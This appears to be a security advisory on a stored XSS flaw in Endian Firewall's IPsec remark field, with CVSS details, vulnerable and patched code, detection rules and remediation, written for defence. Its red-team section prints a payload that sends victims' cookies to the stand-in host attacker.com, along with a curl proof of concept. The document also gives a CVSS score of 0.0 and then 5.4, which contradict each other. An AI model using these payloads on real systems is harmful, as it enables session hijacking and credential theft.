CVE-2026-34820

Executive Summary

CVE-2026-34820 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the remark parameter in the /manage/ipsec/ endpoint. The injected script is stored on the server and executed when other authenticated users view the affected page. This allows the attacker to perform actions such as session hijacking, credential theft, or defacement within the context of the victim's session. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for authentication and user interaction. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application flaw in the Endian Firewall product.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must be authenticated.
• User Interaction: Required (UI:R) – victim must view the affected page.
• Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of data.
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authentication, but once achieved, the attacker can execute arbitrary JavaScript in the context of other users' sessions.

Deep Dive & Mechanics

The vulnerability resides in the /manage/ipsec/ endpoint of Endian Firewall. The remark parameter is used to store user-provided text associated with an IPsec configuration. The application fails to sanitize or encode this input before storing it in the database and later rendering it in the web interface.

Attack Flow:

1. An authenticated attacker navigates to /manage/ipsec/ and creates or edits an IPsec tunnel.
2. The attacker injects a malicious payload into the remark field, e.g., <script>alert('XSS')</script>.
3. The server stores the payload in the database without sanitization.
4. When another authenticated user views the IPsec configuration page, the server retrieves the stored remark and renders it in the HTML response.
5. The victim's browser executes the injected JavaScript, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of output encoding and input validation on the remark parameter.

Vulnerable vs. Patched Code

Vulnerable Code (Endian Firewall <= 3.3.25):

// Vulnerable: Directly outputs user input without sanitization
echo "<td>" . $remark . "</td>";

Patched Code (Hypothetical):

// Patched: HTML-encode the output
echo "<td>" . htmlspecialchars($remark, ENT_QUOTES, 'UTF-8') . "</td>";

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid credentials for an Endian Firewall user.
• Network access to the web interface.

Steps:

1. Log in to the Endian Firewall web interface.
2. Navigate to /manage/ipsec/.
3. Create a new IPsec tunnel or edit an existing one.
4. In the remark field, inject a payload such as:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Save the configuration.
6. Wait for another user to view the IPsec page, or send a link to the victim.

Proof-of-Concept (No public exploit available):

# Using curl to inject XSS payload
curl -X POST "https://target/manage/ipsec/" \
  -d "name=test&remark=<script>alert('XSS')</script>" \
  -b "session=valid_session_cookie"

Blue Team (Detection & Mitigation)

Detection:

• Monitor web server logs for unusual characters in the remark parameter (e.g., <script>, onerror=, javascript:).
• Use a WAF to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding to the remark parameter.
• Upgrade to a patched version when available.
• Restrict access to the /manage/ipsec/ endpoint to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /manage/ipsec/ containing <script> tags or JavaScript event handlers in the remark parameter.
  • Outbound connections from the firewall to attacker-controlled domains (e.g., for cookie exfiltration).

• File IOCs:

  • Log entries in /var/log/httpd/access_log showing unusual remark values.
  • Database entries in the IPsec configuration table containing JavaScript code.

• Behavioral IOCs:

  • Unexpected redirects or pop-ups when viewing IPsec configuration pages.
  • Unauthorized changes to firewall settings performed via XSS.

Detection Engineering

YARA Rule

rule CVE_2026_34820_XSS_Remark {
    meta:
        description = "Detects stored XSS payloads in Endian Firewall remark parameter"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34820"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onload=" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Endian Firewall Remark Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2026-34820 via stored XSS in the remark parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/manage/ipsec/'
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in remarks (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-34820 - Stored XSS in Endian Firewall Remark Parameter";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/manage/ipsec/"; http_uri;
    content:"remark="; http_client_body;
    pcre:"/(<script|onerror=|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2026-34820;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict input validation on the remark parameter to allow only alphanumeric characters and safe punctuation.
2. Output Encoding: Use htmlspecialchars() or equivalent to encode all output from the remark field.
3. Content Security Policy: Add a CSP header that restricts script execution to trusted sources only.
4. Web Application Firewall: Deploy a WAF rule to block requests containing XSS payloads in the remark parameter.

Long-Term Fix:

• Upgrade to a patched version of Endian Firewall when available.
• Conduct a security audit of all user-input fields in the application.

Workaround:

• Disable the remark field functionality if not required.
• Restrict access to the /manage/ipsec/ endpoint to a limited set of administrators.

Valters IT

{/* [Security Hash: 634BE238D04459E8AC8C422C] */}